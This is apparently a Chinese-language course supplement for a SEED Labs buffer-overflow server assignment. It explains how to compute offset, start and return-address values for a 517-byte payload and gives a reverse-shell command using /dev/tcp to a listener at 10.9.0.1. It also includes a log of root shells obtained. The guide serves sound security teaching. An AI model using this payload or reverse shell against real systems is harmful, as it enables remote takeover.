

缓冲区溢出攻击实验补充说明

1 概述

你需要按照 SEED Labs 实验手册 (Homework_6_Manual_Buffer_Overflow_Server.pdf, 有中英文版) 填写作业模板 (Homework_6_template.docx) 完成作业 6。本文档将某些操作进行具体说明, 方便你顺利完成作业。

2 实验室环境搭建

首先, 需要你下载作业文件中的 LabsetupFirewall.zip, 并将其中的 LabsetupFirewall 文件夹解压到 Home 目录下, 后续大部分操作在该目录下执行。你需要先把压缩包通过共享文件夹传输到虚拟机里, 将其放在 Home 目录下, 再右键点击, 选择 Extract Here。不要在自己电脑上解压缩再传到虚拟机。

为了更快地建立容器镜像, 同样在 Teams 的 课程 - Homework Files 文件夹中提供了对应压缩包: bufferOverflow-lab-delta.tar.xz, 其 md5 值为 222d94b73f0413f52da110b5d8c99ff3。下载该压缩包后, 通过共享文件夹把它传到虚拟机, 再复制到 LabsetupBufferOverflow 文件夹 (不要解压缩)。在 LabsetupBufferOverflow 文件夹里打开终端窗口, 执行以下命令, 加载本次作业所需镜像:

```
docker load -i bufferOverflow-lab-delta.tar.xz
```

加载完成后会多出 5 个镜像。和之前作业不同的是, 运行 dcbuild 之前, 你需要先完成实验手册中的 2.2 存在漏洞的程序 的 编译 步骤, 其中\$(L1)替换为 200。若建立成功, 最后会看到 Successfully built 等信息。接下来继续执行 dcup 指令启动服务器, 成功后如下图所示。任务 1 无需启动服务器。

```
[04/05/26]seed@VM:~/LabsetupBufferOverflow$ dcup
Creating network "net-10.9.0.0" with the default driver
Creating server-2-10.9.0.6 ... done
Creating server-1-10.9.0.5 ... done
Creating server-3-10.9.0.7 ... done
Creating server-4-10.9.0.8 ... done
Attaching to server-4-10.9.0.8, server-2-10.9.0.6, server-1-10.9.0.5, server-3-10.9.0.7
```

3 任务 1: 熟悉 Shellcode

实验手册中已给出详细流程, 在本任务中可以只使用 shellcode_32.py 或 shellcode_64.py 之一, 但后续任务两个都会用到。在 Linux 中, 移除同目录内单个文件的指令是 rm filename.txt, 但为了看到确认信息, 你可以使用 rm -iv filename.txt, 这样可以看到删除时的确认选项 (输入 y 按回车确认删除), 以及删除后的记录。你可以复制粘贴同目录内的帮助文件 Readme.md, 把它作为删除目标。因为要进行删除操作, 使用的又是 shellcode, 强烈建议在最终运行之前保存虚拟机快照, 以避免误删内容。

4 任务 2: 第一关

4.1 服务器

需注意, 实验手册中说“您将会看到目标容器打印出来以下信息”, 但实际上信息是在你运行 dcup 的终端窗口打出的。你可以打开两个终端窗口并并排放置, 分别用于服务器运行 (dcup) 及查看内部信息、向服务器发送消息。此外, 在实验完成前, 尽量不要关闭服务器, 每次 dcup 会重设寄存器指针。

4.2 编写攻击代码并发起攻击

实验手册的第 4.2 节重点介绍了如何使用提供的 exploit.py 框架脚本（在 attack-code 文件夹内）来编写攻击载荷。目标是构造 517 字节的载荷，使其溢出缓冲区，覆盖栈上的返回地址，并将程序的执行重定向到你的 shellcode。

为此，需要在 exploit.py 中确定三个关键变量：offset、start 和 ret。下面给出 32 位情况的计算。

1. 计算偏移量 (offset)

offset 决定了载荷中的哪个位置应该放置新的返回地址，以便它能够恰好与栈上存储的原始返回地址对齐。

在 32 位架构中，函数调用的栈布局通常如下：

缓冲区：向帧指针方向增长。

帧指针 (ebp)：紧接在局部变量/填充字节之后。

返回地址：紧接在帧指针之后（正好高 4 个字节）。

要找到偏移量，你需要计算帧指针地址与缓冲区地址之间的差值，然后加上帧指针本身所占的 4 个字节。

公式： $\text{offset} = \text{ebp_address} - \text{buffer_address} + 4$

假设缓冲区大小为 200 字节，编译器通常为了内存对齐会添加几个字节的填充。如果缓冲区大小为 200，那么缓冲区与帧指针之间的距离可能会略大，例如 208 字节。如果你的服务器打印出 `buffer = 0xffffdb00` 和 `ebp = 0xffffdbd0`（两者相差 208 字节），那么你的计算应为： $\text{offset} = 208 + 4 = 212$ 。

2. 确定起始位置 (start)

start 变量决定了你的 shellcode 在 517 字节载荷中的放置位置。

脚本首先会用 NOP（空操作）指令（具体为 0x90）填满整个 517 字节的载荷。这就创建了一个“NOP 滑梯”。如果 CPU 落在这个滑梯中的任意位置，它就会无害地“滑行”直到抵达 shellcode。为了最大化 NOP 滑梯并提高攻击成功率，你可以将 shellcode 放在载荷的末尾。

公式： $\text{start} = 517 - \text{len}(\text{shellcode})$

3. 选择返回地址 (ret)

ret 变量是你希望程序在函数返回后跳转到的恶意内存地址。它应指向 NOP 滑梯中的某个位置。知道缓冲区的起始地址后（即载荷被复制到的位置），只需在缓冲区地址上加上任意数值即可。该数值确保地址落在 shellcode 起始位置之前足够远的地方。

公式： $\text{ret} = \text{buffer_address} + X$ （X 可设定为 100-150）

另外，许多攻击者会以帧指针作为参考： $\text{ret} = \text{ebp_address} + Y$ （Y 可设定为 100）。

对于反向 shell 的说明：反向 shell 无需改动 `"/bin/bash"` 和 `"-c"` 两行，只需要用

`"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"` 覆盖 `"AAAA"` 前一行。按实验手册第 10 节，你需要打开三个终端窗口，一个用于运行服务器（运行 `dcup`）及查看内部信息，一个用于运行 `exploit.py` 及发送 `badfile`，一个用于运行 `nc -nv -l 9090` 指令（监听）。

5 任务 3: 第二关

无特殊说明。

6 任务 4: 第三关

从这一关开始，攻击目标换为 64 位的服务器程序。在复制粘贴 shellcode 时，需要从 shellcode_64.py 复制，exploit.py 中的其他数值也要做相应调整（例如字节数从 4 变为 8）。

7 任务 5: 第四关

你可以查看 server-code 文件夹中的 stack.c 源代码，分析缓冲区大小以及内存情况。

8 任务 6: 实验地址随机化

在完成本任务前，你可以执行 `sudo /sbin/sysctl -n kernel.randomize_va_space` 指令查看现有 ASLR 策略值，应为 0。完成本任务后，执行实验手册中的相同指令，把数字换为 0，重设策略值。

无需完成 击败 32 位随机化 任务。该任务所需时间主要由运气决定，成功截图如下图所示。

```

server-1-10.9.0.5 Connection received on 10.9.0.8 60222
server-1-10.9.0.5 root@16182a74ffc2:/bof# exit
server-1-10.9.0.5 exit
server-1-10.9.0.5 exit
server-1-10.9.0.5 [04/06/26]seed@VM:~$ nc -nv -l 9090
server-1-10.9.0.5 Listening on 0.0.0.0 9090
server-1-10.9.0.5 Connection received on 10.9.0.8 60226
server-1-10.9.0.5 root@16182a74ffc2:/bof# exit
server-1-10.9.0.5 exit
server-1-10.9.0.5 exit
server-1-10.9.0.5 [04/06/26]seed@VM:~$ nc -nv -l 9090
server-1-10.9.0.5 Listening on 0.0.0.0 9090
server-1-10.9.0.5 exit
server-1-10.9.0.5 ^C
server-1-10.9.0.5 [04/06/26]seed@VM:~$ sudo /sbin/sysctl -n kernel.randomize_va_space
server-1-10.9.0.5 0
server-1-10.9.0.5 [04/06/26]seed@VM:~$ sudo /sbin/sysctl kernel.randomize_va_space
server-1-10.9.0.5 kernel.randomize_va_space = 0
server-1-10.9.0.5 [04/06/26]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
server-1-10.9.0.5 kernel.randomize_va_space = 2
server-1-10.9.0.5 [04/06/26]seed@VM:~$ nc -nv -l 9090
server-1-10.9.0.5 Listening on 0.0.0.0 9090
server-1-10.9.0.5 Connection received on 10.9.0.5 40674
server-1-10.9.0.5 root@4f25dc314e0d:/bof#
server-1-10.9.0.5 Buffer's address inside bof(): 0xffc317f8
server-1-10.9.0.5 Got a connection from 10.9.0.1
server-1-10.9.0.5 Starting stack
server-1-10.9.0.5 Input size: 517
server-1-10.9.0.5 Frame Pointer (ebp) inside bof(): 0xffffd568
server-1-10.9.0.5 Buffer's address inside bof(): 0xffffd4f8
server-1-10.9.0.5
server-1-10.9.0.5 2 minutes and 47 seconds elapsed.
server-1-10.9.0.5 The program has been running 16209 times s
server-1-10.9.0.5 o far.
server-1-10.9.0.5 2 minutes and 47 seconds elapsed.
server-1-10.9.0.5 The program has been running 16210 times s
server-1-10.9.0.5 o far.

```

9 任务 7: 实验其他防护措施

9.1 任务 7.a: 启用 StackGuard 保护

去掉 `-fno-stack-protector` 选项后，需要在同位置加上 `-m32`，强制作为 32 位程序编译。否则，如果你的 badfile 含 0，又是默认 64 位编译，会因为含 0 字节提前截断，无法看到预期结果。

9.2 任务 7.b: 启用不可执行栈保护

Makefile 中的指令包括 `execstack` 或 `-z execstack`，在终端执行去掉这部分同指令即可。

10 提交作业

请在作业 6 模板（Homework_6_Template.docx）上完成，**生成 pdf 文件并提交**。不要提交 .docx 文件。